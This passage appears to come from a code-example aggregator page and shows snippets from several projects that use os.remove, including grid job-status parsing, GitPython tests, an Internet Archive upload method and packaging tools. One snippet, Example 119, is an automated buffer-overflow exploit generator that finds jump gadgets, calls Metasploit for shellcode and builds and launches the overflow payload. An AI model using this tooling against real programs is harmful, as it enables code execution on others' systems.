        ids_file.write('\n'.join(jobids) + '\n')

    cmd = 'glite-wms-job-status'

    exec_bin = True
    if config['IgnoreGliteScriptHeader']:
        exec_bin = False

    if is_collection:
        cmd = '%s -v 3' % cmd

    if not check_proxy():
        logger.warning('LCG plugin not active.')
        return [], []
    if not credential().isValid('01:00'):
        logger.warning('GRID proxy lifetime shorter than 1 hour')
        return [], []

    cmd = '%s --noint -i %s' % (cmd, idsfile)
    logger.debug('job status command: %s' % cmd)

    rc, output, m = getShell().cmd1('%s%s' % (__get_cmd_prefix_hack__(binary=exec_bin), cmd),
                                    allowed_exit=[0, 255],
                                    timeout=config['StatusPollingTimeout'])
    os.remove(idsfile)

    missing_glite_jids = []
    if rc != 0:
        missing_glite_jids = __resolve_no_matching_jobs__(output)

        if missing_glite_jids:
            logger.info(
                'some jobs removed from WMS, will set corresponding Ganga job to \'failed\' status')
            logger.debug('jobs removed from WMS: %s' %
                         repr(missing_glite_jids))
        else:
            __print_gridcmd_log__('(.*-job-status.*\.log)', output)

    # job status query succeeded, try to remove the glite command logfile
    # if it exists
    __clean_gridcmd_log__('(.*-job-status.*\.log)', output)

    re_id = re.compile('^\s*Status info for the Job : (https://.*\S)\s*$')
    re_status = re.compile('^\s*Current Status:\s+(.*\S)\s*$')

    # from glite UI version 1.5.14, the attribute 'Node Name:' is no longer available
    # for distinguishing master and node jobs. A new way has to be applied.
    re_exit = re.compile('^\s*Exit code:\s+(.*\S)\s*$')
    re_reason = re.compile('^\s*Status Reason:\s+(.*\S)\s*$')
    re_dest = re.compile('^\s*Destination:\s+(.*\S)\s*$')

    # pattern to distinguish master and node jobs
    re_master = re.compile('^BOOKKEEPING INFORMATION:\s*$')
    re_node = re.compile('^- Nodes information.*\s*$')

    # pattern for node jobs
    re_nodename = re.compile('^\s*NodeName\s*=\s*"(gsj_[0-9]+)";\s*$')

    info = []
    is_node = False
    for line in output.split('\n'):

        match = re_master.match(line)
        if match:
            is_node = False
            continue

        match = re_node.match(line)
        if match:
            is_node = True
            continue

        match = re_id.match(line)
        if match:
            info += [{'id': match.group(1),
                      'name': '',
                      'is_node': False,
                      'status': '',
                      'exit': '',
                      'reason': '',
                      'destination': ''}]
            if is_node:
                info[-1]['is_node'] = True
            continue

        match = re_nodename.match(line)
        if match and is_node:
            info[-1]['name'] = match.group(1)
            continue

        match = re_status.match(line)
        if match:
            info[-1]['status'] = match.group(1)
            continue

        match = re_exit.match(line)
        if match:
            info[-1]['exit'] = match.group(1)
            continue

        match = re_reason.match(line)
        if match:
            info[-1]['reason'] = match.group(1)
            continue

        match = re_dest.match(line)
        if match:
            info[-1]['destination'] = match.group(1)
            continue

    return info, missing_glite_jids

Example 119

Project: exploit_generator
Source File: autoexp.py
View license
def get_asm_location_list(details,asmlist,exploit,check_aslr = False):
	"""
	Determine memory location for given assembly instruction in all loaded modules, can ask to check only non-ASLR modules
	@params exploit: the object for the exploit;details: dictionary to be populated with the gathered info; command: process to start
	@return updated dictionary with the details
	"""
	initialize_debugger(exploit.get_command())
	modulenames = get_loaded_modules()
	asm_address = []
	for m in modulenames:
		if check_aslr and aslr_enabled(get_module_by_name(m)):
			pass
		else:
			log('Checking module: ' + m)
			mpages = find_exec_pages(get_module_by_name(m))
			for a in find_asm(mpages,asmlist):
				asm_address.append(a)
	print [hex(a) for a in asm_address]
	details['asm_address'] = asm_address
	killAllProcesses()

def generate_shellcode(details):
	"""
	Generate shellcode with calling metasploit, considering bad characters
	@params details: dictionary with the gathered details
	@return shellcode
	"""
	log('Generating shellcode...')
	subprocess.call([METASPLOITPATH, "-p", "windows/exec", "CMD=calc.exe", "-b", '\'' + string_to_hexescaped(details['bad_chars']) + '\'', '-f', 'raw', '-o', 'out.raw'])
	f = open('out.raw','rb')
	shellcode = f.read()
	f.close()
	os.remove('out.raw')
	return shellcode

def build_bof(exploit,details):
	"""
	Build final BOF exploit with all gathered details - currently assumes pointer at second part of the buffer
	@params exploit: the object for the exploit;details: dictionary containing the gathered info
	@returns True/False depending if the BOF could be built or not
	"""
	#check if bad char is in a memory address
	shellcode = "\x90" * 16 + generate_shellcode(details)
	log('Shellcode: ' + string_to_hexescaped(shellcode))
	for register in REGISTERS:
		try:
			if len(shellcode) > details[register + '_bufferspace']:
				log('No place for shellcode using register: ' + register + ', trying next')
			else:
				if details['jmp_to_sc_method'] == 'jmp_reg' or details['jmp_to_sc_method'] == 'call_reg':
					exploit.set_buffer(['A' * details['eip_offset'], struct.pack('<l',details['jmp_to_sc_address']), details[register + '_offset'] * '\x90',shellcode, '\x90' * (details[register + '_bufferspace']-len(shellcode))])
					return True
		except Exception, e:
			log(str(e))
	return False #if couldn't build bof

def find_jmp_to_shellcode(details, exploit ,check_aslr = False):
	"""
	This function tries to find memory addresses to jump to the shellcode via various methods
	@params details: dictionary containing the gathered info; exploit: the object for the exploit; check_aslr: only search non ASLR enabled modules
	@returns True if found, otherwise the script will exit
	"""
	for register in details['points_to_second_buffer'] + details['points_to_first_buffer']:
		register = register.upper()
		#First try to find ASM instructoin to directly jump to a register
		get_asm_location_list(details,['JMP ' + register], exploit, check_aslr)
		if len(details['asm_address']) != 0:
			for address in details['asm_address']:
				if not check_bad_chars_inaddr(details['bad_chars'],address):
					log('JMP ' + register.upper() + ' at ' + hex(address) + ' will be used')
					details['jmp_to_sc_method'] = 'jmp_reg'
					details['jmp_to_sc_address'] = address
					return True
		log('Couldn\'t find memory location with the given assembly (JMP [reg]), checking CALL [reg]')

		#Next option is to try CALL [reg]
		get_asm_location_list(details,['CALL ' + register], exploit, check_aslr)
		if len(details['asm_address']) != 0:
			for address in details['asm_address']:
				if not check_bad_chars_inaddr(details['bad_chars'],address):
					log('CALL ' + register.upper() + ' at ' + hex(address) + ' will be used')
					details['jmp_to_sc_method'] = 'call_reg'
					details['jmp_to_sc_address'] = address
					return True
		log('Couldn\'t find memory location with the given assembly (CALL [reg]), checking PUSH [reg];RET')

		#Next option is to try PUSH [reg];RET
		get_asm_location_list(details,['PUSH ' + register,'RET'], exploit, check_aslr)
		if len(details['asm_address']) != 0:
			for address in details['asm_address']:
				if not check_bad_chars_inaddr(details['bad_chars'],address):
					log('PUSH ' + register.upper() + ';RET at ' + hex(address) + ' will be used')
					details['jmp_to_sc_method'] = 'push_reg_ret'
					details['jmp_to_sc_address'] = address
					return True
		log('Couldn\'t find any memory location to jmp to the shellcode with regsiter: ' + register)
	log('Couldn\'t find any memory location  tojmp to the shellcode, exiting...')
	sys.exit(-1)

if __name__ == "__main__":
	#Parse arguments
	parser = argparse.ArgumentParser(description='Automated exploit generation')
	# Add arguments
	parser.add_argument('-e', '--exploit', type=str, help='exploit class file', required=True)
	parser.add_argument('-a', '--aslr', action='store_true', help='Try to use modules w/o ASLR enabled', required=False, default=False)
	parser.add_argument('-t', '--type', type=str, help='Exploit type (bof,...)', required=False, default='bof')
	args = parser.parse_args()

	#Dynamicaly load Exploit class from the supplied file
	try:
		m = importlib.import_module(args.exploit[0:-3])
		Exploit = getattr(m, 'Exploit')
	except Exception,e:
		print str(e)
		log('Error occured, exiting...')
		sys.exit(-1)
		
	exploit = Exploit()
	
	details = {}			
	get_eip_offset(exploit,details)
	get_usable_registers(exploit,details)
	if len(details['points_to_second_buffer'] + details['points_to_first_buffer']) == 0:
		log('No proper register found to continue, exiting...')
		sys.exit(-1)
	get_bad_chars(exploit,details)	
	find_jmp_to_shellcode(details,exploit,args.aslr)
	if build_bof(exploit,details):
		exploit.save()
		start_and_exploit(exploit)
	else:
		log('Couldn\'t build BOF')

Example 120

Project: GitPython
Source File: test_streams.py
View license
    @with_rw_repo('HEAD', bare=True)
    def test_large_data_streaming(self, rwrepo):
        # TODO: This part overlaps with the same file in gitdb.test.performance.test_stream
        # It should be shared if possible
        ldb = LooseObjectDB(osp.join(rwrepo.git_dir, 'objects'))

        for randomize in range(2):
            desc = (randomize and 'random ') or ''
            print("Creating %s data ..." % desc, file=sys.stderr)
            st = time()
            size, stream = make_memory_file(self.large_data_size_bytes, randomize)
            elapsed = time() - st
            print("Done (in %f s)" % elapsed, file=sys.stderr)

            # writing - due to the compression it will seem faster than it is
            st = time()
            binsha = ldb.store(IStream('blob', size, stream)).binsha
            elapsed_add = time() - st
            assert ldb.has_object(binsha)
            db_file = ldb.readable_db_object_path(bin_to_hex(binsha))
            fsize_kib = osp.getsize(db_file) / 1000

            size_kib = size / 1000
            msg = "Added %i KiB (filesize = %i KiB) of %s data to loose odb in %f s ( %f Write KiB / s)"
            msg %= (size_kib, fsize_kib, desc, elapsed_add, size_kib / elapsed_add)
            print(msg, file=sys.stderr)

            # reading all at once
            st = time()
            ostream = ldb.stream(binsha)
            shadata = ostream.read()
            elapsed_readall = time() - st

            stream.seek(0)
            assert shadata == stream.getvalue()
            msg = "Read %i KiB of %s data at once from loose odb in %f s ( %f Read KiB / s)"
            msg %= (size_kib, desc, elapsed_readall, size_kib / elapsed_readall)
            print(msg, file=sys.stderr)

            # reading in chunks of 1 MiB
            cs = 512 * 1000
            chunks = list()
            st = time()
            ostream = ldb.stream(binsha)
            while True:
                data = ostream.read(cs)
                chunks.append(data)
                if len(data) < cs:
                    break
            # END read in chunks
            elapsed_readchunks = time() - st

            stream.seek(0)
            assert b''.join(chunks) == stream.getvalue()

            cs_kib = cs / 1000
            print("Read %i KiB of %s data in %i KiB chunks from loose odb in %f s ( %f Read KiB / s)"
                  % (size_kib, desc, cs_kib, elapsed_readchunks, size_kib / elapsed_readchunks), file=sys.stderr)

            # del db file so git has something to do
            ostream = None
            import gc
            gc.collect()
            os.remove(db_file)

            # VS. CGIT
            ##########
            # CGIT ! Can using the cgit programs be faster ?
            proc = rwrepo.git.hash_object('-w', '--stdin', as_process=True, istream=subprocess.PIPE)

            # write file - pump everything in at once to be a fast as possible
            data = stream.getvalue()    # cache it
            st = time()
            proc.stdin.write(data)
            proc.stdin.close()
            gitsha = proc.stdout.read().strip()
            proc.wait()
            gelapsed_add = time() - st
            del(data)
            assert gitsha == bin_to_hex(binsha)     # we do it the same way, right ?

            #  as its the same sha, we reuse our path
            fsize_kib = osp.getsize(db_file) / 1000
            msg = "Added %i KiB (filesize = %i KiB) of %s data to using git-hash-object in %f s ( %f Write KiB / s)"
            msg %= (size_kib, fsize_kib, desc, gelapsed_add, size_kib / gelapsed_add)
            print(msg, file=sys.stderr)

            # compare ...
            print("Git-Python is %f %% faster than git when adding big %s files"
                  % (100.0 - (elapsed_add / gelapsed_add) * 100, desc), file=sys.stderr)

            # read all
            st = time()
            hexsha, typename, size, data = rwrepo.git.get_object_data(gitsha)  # @UnusedVariable
            gelapsed_readall = time() - st
            print("Read %i KiB of %s data at once using git-cat-file in %f s ( %f Read KiB / s)"
                  % (size_kib, desc, gelapsed_readall, size_kib / gelapsed_readall), file=sys.stderr)

            # compare
            print("Git-Python is %f %% faster than git when reading big %sfiles"
                  % (100.0 - (elapsed_readall / gelapsed_readall) * 100, desc), file=sys.stderr)

            # read chunks
            st = time()
            hexsha, typename, size, stream = rwrepo.git.stream_object_data(gitsha)  # @UnusedVariable
            while True:
                data = stream.read(cs)
                if len(data) < cs:
                    break
            # END read stream
            gelapsed_readchunks = time() - st
            msg = "Read %i KiB of %s data in %i KiB chunks from git-cat-file in %f s ( %f Read KiB / s)"
            msg %= (size_kib, desc, cs_kib, gelapsed_readchunks, size_kib / gelapsed_readchunks)
            print(msg, file=sys.stderr)

            # compare
            print("Git-Python is %f %% faster than git when reading big %s files in chunks"
                  % (100.0 - (elapsed_readchunks / gelapsed_readchunks) * 100, desc), file=sys.stderr)

Example 121

Project: internetarchive
Source File: item.py
View license
    def upload_file(self, body,
                    key=None,
                    metadata=None,
                    headers=None,
                    access_key=None,
                    secret_key=None,
                    queue_derive=None,
                    verbose=None,
                    verify=None,
                    checksum=None,
                    delete=None,
                    retries=None,
                    retries_sleep=None,
                    debug=None,
                    request_kwargs=None):
        """Upload a single file to an item. The item will be created
        if it does not exist.

        :type body: Filepath or file-like object.
        :param body: File or data to be uploaded.

        :type key: str
        :param key: (optional) Remote filename.

        :type metadata: dict
        :param metadata: (optional) Metadata used to create a new item.

        :type headers: dict
        :param headers: (optional) Add additional IA-S3 headers to request.

        :type queue_derive: bool
        :param queue_derive: (optional) Set to False to prevent an item from
                             being derived after upload.

        :type verify: bool
        :param verify: (optional) Verify local MD5 checksum matches the MD5
                       checksum of the file received by IAS3.

        :type checksum: bool
        :param checksum: (optional) Skip based on checksum.

        :type delete: bool
        :param delete: (optional) Delete local file after the upload has been
                       successfully verified.

        :type retries: int
        :param retries: (optional) Number of times to retry the given request
                        if S3 returns a 503 SlowDown error.

        :type retries_sleep: int
        :param retries_sleep: (optional) Amount of time to sleep between
                              ``retries``.

        :type verbose: bool
        :param verbose: (optional) Print progress to stdout.

        :type debug: bool
        :param debug: (optional) Set to True to print headers to stdout, and
                      exit without sending the upload request.

        Usage::

            >>> import internetarchive
            >>> item = internetarchive.Item('identifier')
            >>> item.upload_file('/path/to/image.jpg',
            ...                  key='photos/image1.jpg')
            True
        """
        # Set defaults.
        headers = {} if headers is None else headers
        metadata = {} if metadata is None else metadata
        access_key = self.session.access_key if access_key is None else access_key
        secret_key = self.session.secret_key if secret_key is None else secret_key
        queue_derive = True if queue_derive is None else queue_derive
        verbose = False if verbose is None else verbose
        verify = True if verify is None else verify
        delete = False if delete is None else delete
        # Set checksum after delete.
        checksum = True if delete or checksum is None else checksum
        retries = 0 if retries is None else retries
        retries_sleep = 30 if retries_sleep is None else retries_sleep
        debug = False if debug is None else debug
        request_kwargs = {} if request_kwargs is None else request_kwargs
        md5_sum = None

        if not hasattr(body, 'read'):
            body = open(body, 'rb')

        size = get_file_size(body)

        if not headers.get('x-archive-size-hint'):
            headers['x-archive-size-hint'] = str(size)

        # Build IA-S3 URL.
        key = body.name.split('/')[-1] if key is None else key
        base_url = '{0.session.protocol}//s3.us.archive.org/{0.identifier}'.format(self)
        url = '{0}/{1}'.format(
            base_url, urllib.parse.quote(key.lstrip('/').encode('utf-8')))

        # Skip based on checksum.
        if checksum:
            md5_sum = get_md5(body)
            ia_file = self.get_file(key)
            if (not self.tasks) and (ia_file) and (ia_file.md5 == md5_sum):
                log.info('{f} already exists: {u}'.format(f=key, u=url))
                if verbose:
                    print(' {f} already exists, skipping.'.format(f=key))
                if delete:
                    log.info(
                        '{f} successfully uploaded to '
                        'https://archive.org/download/{i}/{f} '
                        'and verified, deleting '
                        'local copy'.format(i=self.identifier,
                                            f=key))
                    os.remove(body.name)
                # Return an empty response object if checksums match.
                # TODO: Is there a better way to handle this?
                return Response()

        # require the Content-MD5 header when delete is True.
        if verify or delete:
            if not md5_sum:
                md5_sum = get_md5(body)
            headers['Content-MD5'] = md5_sum

        def _build_request():
            body.seek(0, os.SEEK_SET)
            if verbose:
                try:
                    chunk_size = 1048576
                    expected_size = size / chunk_size + 1
                    chunks = chunk_generator(body, chunk_size)
                    progress_generator = progress.bar(
                        chunks,
                        expected_size=expected_size,
                        label=' uploading {f}: '.format(f=key))
                    data = IterableToFileAdapter(progress_generator, size)
                except:
                    print(' uploading {f}'.format(f=key))
                    data = body
            else:
                data = body

            request = S3Request(method='PUT',
                                url=url,
                                headers=headers,
                                data=data,
                                metadata=metadata,
                                access_key=access_key,
                                secret_key=secret_key,
                                queue_derive=queue_derive)
            return request

        if debug:
            return _build_request()
        else:
            try:
                error_msg = ('s3 is overloaded, sleeping for '
                             '{0} seconds and retrying. '
                             '{1} retries left.'.format(retries_sleep, retries))
                while True:
                    if retries > 0:
                        if self.session.s3_is_overloaded(access_key):
                            sleep(retries_sleep)
                            log.info(error_msg)
                            if verbose:
                                print(' warning: {0}'.format(error_msg), file=sys.stderr)
                            retries -= 1
                            continue
                    request = _build_request()
                    prepared_request = request.prepare()
                    response = self.session.send(prepared_request,
                                                 stream=True,
                                                 **request_kwargs)
                    if (response.status_code == 503) and (retries > 0):
                        log.info(error_msg)
                        if verbose:
                            print(' warning: {0}'.format(error_msg), file=sys.stderr)
                        sleep(retries_sleep)
                        retries -= 1
                        continue
                    else:
                        if response.status_code == 503:
                            log.info('maximum retries exceeded, upload failed.')
                        break
                response.raise_for_status()
                log.info('uploaded {f} to {u}'.format(f=key, u=url))
                if delete and response.status_code == 200:
                    log.info(
                        '{f} successfully uploaded to '
                        'https://archive.org/download/{i}/{f} and verified, deleting '
                        'local copy'.format(i=self.identifier,
                                            f=key))
                    os.remove(body.name)
                return response
            except HTTPError as exc:
                msg = get_s3_xml_text(exc.response.content)
                error_msg = (' error uploading {0} to {1}, '
                             '{2}'.format(key, self.identifier, msg))
                log.error(error_msg)
                if verbose:
                    print(' error uploading {0}: {1}'.format(key, msg), file=sys.stderr)
                # Raise HTTPError with error message.
                raise type(exc)(error_msg, response=exc.response, request=exc.request)

Example 122

View license
def create_fake_jpeg_tar(seed, min_num_images=5, max_num_images=50,
                         min_size=20, size_range=30, filenames=None,
                         random=True, gzip_probability=0.5, offset=0):
    """Create a TAR file of randomly generated JPEG files.

    Parameters
    ----------
    seed : int or sequence
        Seed for a `numpy.random.RandomState`.
    min_num_images : int, optional
        The minimum number of images to put in the TAR file.
    max_num_images : int, optional
        The maximum number of images to put in the TAR file.
    min_size : int, optional
        The minimum width and minimum height of each image.
    size_range : int, optional
        Maximum number of pixels added to `min_size` for image
        dimensions.
    filenames : list, optional
        If provided, use these filenames. Otherwise generate them
        randomly. Must be at least `max_num_images` long.
    random : bool, optional
        If `False`, substitute an image full of a single number,
        the order of that image in processing.
    gzip_probability : float, optional
        With this probability, randomly gzip the JPEG file without
        appending a gzip suffix.
    offset : int, optional
        Where to start the hashes for filenames. Default: 0.

    Returns
    -------
    tar_data : bytes
        A TAR file represented as raw bytes, containing between
        `min_num_images` and `max_num_images` JPEG files (inclusive).

    Notes
    -----
    Randomly choose between RGB, L and CMYK mode images. Also randomly
    gzips JPEGs to simulate the idiotic distribution format of
    ILSVRC2010.

    """
    rng = numpy.random.RandomState(seed)
    images = []
    if filenames is None:
        files = []
    else:
        if len(filenames) < max_num_images:
            raise ValueError('need at least max_num_images = %d filenames' %
                             max_num_images)
        files = filenames
    for i in xrange(rng.random_integers(min_num_images, max_num_images)):
        if filenames is None:
            max_len = 27  # so that with suffix, 32 characters
            files.append('%s.JPEG' %
                         hashlib.sha1(bytes(i + offset)).hexdigest()[:max_len])
        im = rng.random_integers(0, 255,
                                 size=(rng.random_integers(min_size,
                                                           min_size +
                                                           size_range),
                                       rng.random_integers(min_size,
                                                           min_size +
                                                           size_range),
                                       rng.random_integers(1, 4)))
        if not random:
            im *= 0
            assert (im == 0).all()
            im += i
            assert numpy.isscalar(i)
            assert (im == i).all()
        if im.shape[-1] == 2:
            im = im[:, :, :1]
        images.append(im)
    files = sorted(files)
    temp_tar = io.BytesIO()
    with tarfile.open(fileobj=temp_tar, mode='w') as tar:
        for fn, image in zip(files, images):
            try:
                with NamedTemporaryFile(mode='wb', suffix='.JPEG',
                                        delete=False) as f:
                    if rng.uniform() < gzip_probability:
                        gzip_data = io.BytesIO()
                        with gzip.GzipFile(mode='wb', fileobj=gzip_data) as gz:
                            gz.write(create_jpeg_data(image))
                        f.write(gzip_data.getvalue())
                    else:
                        f.write(create_jpeg_data(image))
                tar.add(f.name, arcname=fn)
            finally:
                os.remove(f.name)
    ordered_files = []
    with tarfile.open(fileobj=io.BytesIO(temp_tar.getvalue()),
                      mode='r') as tar:
        for info in tar.getmembers():
            ordered_files.append(info.name)
    return temp_tar.getvalue(), ordered_files

Example 123

Project: buildtools-BaseTools
Source File: MkPkg.py
View license
def Main(Options = None):
    if Options == None:
        Logger.Error("\nMkPkg", OPTION_UNKNOWN_ERROR, ST.ERR_OPTION_NOT_FOUND)
    try:
        DataBase = GlobalData.gDB        
        ContentFileClosed = True
        CheckEnvVariable()
        WorkspaceDir = GlobalData.gWORKSPACE

        #
        # Init PackFileToCreate
        #
        if not Options.PackFileToCreate:
            Logger.Error("\nMkPkg", OPTION_UNKNOWN_ERROR, ST.ERR_OPTION_NOT_FOUND)
        
        #
        # Handle if the distribution package file already exists
        #
        CheckForExistingDp(Options.PackFileToCreate)

        #
        # Check package file existing and valid
        #
        CheckFileList('.DEC', Options.PackageFileList, ST.ERR_INVALID_PACKAGE_NAME, ST.ERR_INVALID_PACKAGE_PATH)
        #            
        # Check module file existing and valid
        #
        CheckFileList('.INF', Options.ModuleFileList, ST.ERR_INVALID_MODULE_NAME, ST.ERR_INVALID_MODULE_PATH)

        #
        # Get list of files that installed with RePackage attribute available
        #
        RePkgDict = DataBase.GetRePkgDict()
              
        ContentFile = PackageFile(GlobalData.gCONTENT_FILE, "w")       
        ContentFileClosed = False
        
        #
        # Add temp distribution header
        #
        if Options.PackageInformationDataFile:
            XmlFile = IniToXml(Options.PackageInformationDataFile)
            DistPkg = DistributionPackageXml().FromXml(XmlFile)
            remove(XmlFile)

            #
            # add distribution level tool/misc files
            # before pack, current dir should be workspace dir, else the full 
            # path will be in the pack file
            #
            Cwd = getcwd()
            chdir(WorkspaceDir)
            ToolObject = DistPkg.Tools
            MiscObject = DistPkg.MiscellaneousFiles
            FileList = []
            if ToolObject:
                FileList += ToolObject.GetFileList()
            if MiscObject:
                FileList += MiscObject.GetFileList()
            for FileObject in FileList:
                #
                # If you have unicode file names, please convert them to byte 
                # strings in your desired encoding before passing them to 
                # write().
                #
                FromFile = os.path.normpath(FileObject.GetURI()).encode('utf_8')
                FileFullPath = os.path.normpath(os.path.join(WorkspaceDir, FromFile))
                if FileFullPath in RePkgDict:
                    (DpGuid, DpVersion, DpName, Repackage) = RePkgDict[FileFullPath]
                    if not Repackage:
                        Logger.Error("\nMkPkg",
                                     UPT_REPKG_ERROR,
                                     ST.ERR_UPT_REPKG_ERROR,
                                     ExtraData=ST.MSG_REPKG_CONFLICT %\
                                     (FileFullPath, DpGuid, DpVersion, DpName)
                                     )
                    else:
                        DistPkg.Header.RePackage = True
                ContentFile.PackFile(FromFile)
            chdir(Cwd)
        
        #    
        # Add init dp information
        #
        else:
            DistPkg = DistributionPackageClass()
            DistPkg.Header.Name = 'Distribution Package'
            DistPkg.Header.Guid = str(uuid4())
            DistPkg.Header.Version = '1.0'
            
        DistPkg.GetDistributionPackage(WorkspaceDir, Options.PackageFileList, \
                                       Options.ModuleFileList)
        FileList, MetaDataFileList = DistPkg.GetDistributionFileList()
        for File in FileList + MetaDataFileList:
            FileFullPath = os.path.normpath(os.path.join(WorkspaceDir, File))
            #
            # check whether file was included in a distribution that can not 
            # be repackaged
            #
            if FileFullPath in RePkgDict:
                (DpGuid, DpVersion, DpName, Repackage) = RePkgDict[FileFullPath]
                if not Repackage:
                    Logger.Error("\nMkPkg",
                                 UPT_REPKG_ERROR,
                                 ST.ERR_UPT_REPKG_ERROR,
                                 ExtraData = \
                                 ST.MSG_REPKG_CONFLICT %(FileFullPath, DpName, \
                                                         DpGuid, DpVersion)
                                 )
                else:
                    DistPkg.Header.RePackage = True
          
        Cwd = getcwd()
        chdir(WorkspaceDir)        
        ContentFile.PackFiles(FileList)
        chdir(Cwd)
        
        Logger.Verbose(ST.MSG_COMPRESS_DISTRIBUTION_PKG) 
        
        ContentFile.Close()
        ContentFileClosed = True
        
        #
        # Add Md5Sigature
        #
        DistPkg.Header.Signature = md5.new(open(str(ContentFile), 'rb').read()).hexdigest()
        #
        # Add current Date
        #
        DistPkg.Header.Date = str(strftime("%Y-%m-%dT%H:%M:%S", localtime()))
        
        #
        # Finish final dp file
        #
        DistPkgFile = PackageFile(Options.PackFileToCreate, "w")
        DistPkgFile.PackFile(str(ContentFile))
        DistPkgXml = DistributionPackageXml()
        DistPkgFile.PackData(DistPkgXml.ToXml(DistPkg), GlobalData.gDESC_FILE)
        DistPkgFile.Close()
        Logger.Quiet(ST.MSG_FINISH)
        ReturnCode = 0

    except FatalError, XExcept:
        ReturnCode = XExcept.args[0]        
        if Logger.GetLevel() <= Logger.DEBUG_9:
            Logger.Quiet(ST.MSG_PYTHON_ON % \
                         (python_version(), platform) + format_exc())
    except KeyboardInterrupt:
        ReturnCode = ABORT_ERROR
        if Logger.GetLevel() <= Logger.DEBUG_9:
            Logger.Quiet(ST.MSG_PYTHON_ON % \
                         (python_version(), platform) + format_exc())
    except OSError:
        pass
    except:
        Logger.Error(
                    "\nMkPkg",
                    CODE_ERROR,
                    ST.ERR_UNKNOWN_FATAL_CREATING_ERR % \
                    Options.PackFileToCreate,
                    ExtraData=ST.MSG_SEARCH_FOR_HELP,
                    RaiseError=False
                    )
        Logger.Quiet(ST.MSG_PYTHON_ON % \
                     (python_version(), platform) + format_exc())
        ReturnCode = CODE_ERROR
    finally:
        if os.path.exists(GlobalData.gCONTENT_FILE):
            if not ContentFileClosed:
                ContentFile.Close()
            os.remove(GlobalData.gCONTENT_FILE)

    return ReturnCode

Example 124

Project: GitPython
Source File: test_index.py
View license
    @with_rw_repo('0.1.6')
    def test_index_file_diffing(self, rw_repo):
        # default Index instance points to our index
        index = IndexFile(rw_repo)
        assert index.path is not None
        assert len(index.entries)

        # write the file back
        index.write()

        # could sha it, or check stats

        # test diff
        # resetting the head will leave the index in a different state, and the
        # diff will yield a few changes
        cur_head_commit = rw_repo.head.reference.commit
        rw_repo.head.reset('HEAD~6', index=True, working_tree=False)

        # diff against same index is 0
        diff = index.diff()
        self.assertEqual(len(diff), 0)

        # against HEAD as string, must be the same as it matches index
        diff = index.diff('HEAD')
        self.assertEqual(len(diff), 0)

        # against previous head, there must be a difference
        diff = index.diff(cur_head_commit)
        assert len(diff)

        # we reverse the result
        adiff = index.diff(str(cur_head_commit), R=True)
        odiff = index.diff(cur_head_commit, R=False)    # now its not reversed anymore
        assert adiff != odiff
        self.assertEqual(odiff, diff)                    # both unreversed diffs against HEAD

        # against working copy - its still at cur_commit
        wdiff = index.diff(None)
        assert wdiff != adiff
        assert wdiff != odiff

        # against something unusual
        self.failUnlessRaises(ValueError, index.diff, int)

        # adjust the index to match an old revision
        cur_branch = rw_repo.active_branch
        cur_commit = cur_branch.commit
        rev_head_parent = 'HEAD~1'
        assert index.reset(rev_head_parent) is index

        self.assertEqual(cur_branch, rw_repo.active_branch)
        self.assertEqual(cur_commit, rw_repo.head.commit)

        # there must be differences towards the working tree which is in the 'future'
        assert index.diff(None)

        # reset the working copy as well to current head,to pull 'back' as well
        new_data = b"will be reverted"
        file_path = osp.join(rw_repo.working_tree_dir, "CHANGES")
        with open(file_path, "wb") as fp:
            fp.write(new_data)
        index.reset(rev_head_parent, working_tree=True)
        assert not index.diff(None)
        self.assertEqual(cur_branch, rw_repo.active_branch)
        self.assertEqual(cur_commit, rw_repo.head.commit)
        with open(file_path, 'rb') as fp:
            assert fp.read() != new_data

        # test full checkout
        test_file = osp.join(rw_repo.working_tree_dir, "CHANGES")
        with open(test_file, 'ab') as fd:
            fd.write(b"some data")
        rval = index.checkout(None, force=True, fprogress=self._fprogress)
        assert 'CHANGES' in list(rval)
        self._assert_fprogress([None])
        assert osp.isfile(test_file)

        os.remove(test_file)
        rval = index.checkout(None, force=False, fprogress=self._fprogress)
        assert 'CHANGES' in list(rval)
        self._assert_fprogress([None])
        assert osp.isfile(test_file)

        # individual file
        os.remove(test_file)
        rval = index.checkout(test_file, fprogress=self._fprogress)
        self.assertEqual(list(rval)[0], 'CHANGES')
        self._assert_fprogress([test_file])
        assert osp.exists(test_file)

        # checking out non-existing file throws
        self.failUnlessRaises(CheckoutError, index.checkout, "doesnt_exist_ever.txt.that")
        self.failUnlessRaises(CheckoutError, index.checkout, paths=["doesnt/exist"])

        # checkout file with modifications
        append_data = b"hello"
        with open(test_file, "ab") as fp:
            fp.write(append_data)
        try:
            index.checkout(test_file)
        except CheckoutError as e:
            self.assertEqual(len(e.failed_files), 1)
            self.assertEqual(e.failed_files[0], osp.basename(test_file))
            self.assertEqual(len(e.failed_files), len(e.failed_reasons))
            self.assertIsInstance(e.failed_reasons[0], string_types)
            self.assertEqual(len(e.valid_files), 0)
            with open(test_file, 'rb') as fd:
                s = fd.read()
            self.assertTrue(s.endswith(append_data), s)
        else:
            raise AssertionError("Exception CheckoutError not thrown")

        # if we force it it should work
        index.checkout(test_file, force=True)
        assert not open(test_file, 'rb').read().endswith(append_data)

        # checkout directory
        rmtree(osp.join(rw_repo.working_tree_dir, "lib"))
        rval = index.checkout('lib')
        assert len(list(rval)) > 1

Example 125

Project: franklin
Source File: acceptance.py
View license
def test_backbone(analysis=None, analysis_dir=None):
    '''It tests the backbone infrastructure.

    If no analysis is given it will run all of them.
    If no analysis_dir is given a temporary one will be used.
    '''
    logger = logging.getLogger('franklin')
    if analysis_dir:
        analysis_fhand = None
        analysis_fpath = analysis_dir
    else:
        analysis_fhand = NamedTemporaryDir()
        analysis_fpath = analysis_fhand.name

    project_dir = analysis_fpath
    repository_dir = join(TEST_DATA_DIR, 'acceptance')
    settings_path = prepare_conf(project_dir, repository_dir)
    choice = analysis
#    choice = 'snvs'
    if choice in ('cleaning', None):
        original_reads = join(project_dir, 'reads/raw')
        if exists(original_reads):
            os.remove(original_reads)
        reads = join(project_dir, 'reads')
        if not exists(reads):
            os.mkdir(reads)
        shutil.copytree(join(repository_dir, 'cleaning'),
                        join(project_dir, 'reads/raw'))
        analyses = ['clean_reads', 'read_stats']
        run_analysis(analyses, settings_path)

    if choice in ('assembling', None):
        clean_reads_dir = join(project_dir, 'reads', 'cleaned')
        if os.path.exists(clean_reads_dir):
            shutil.rmtree(join(project_dir, 'reads'))
        os.mkdir(join(project_dir, 'reads'))
        shutil.copytree(join(repository_dir, 'assembling'),
                        join(project_dir, 'reads/cleaned'))

        analyses = [ 'prepare_mira_assembly', 'mira_assembly']
        run_analysis(analyses, settings_path)

    if choice in ('mapping', None):
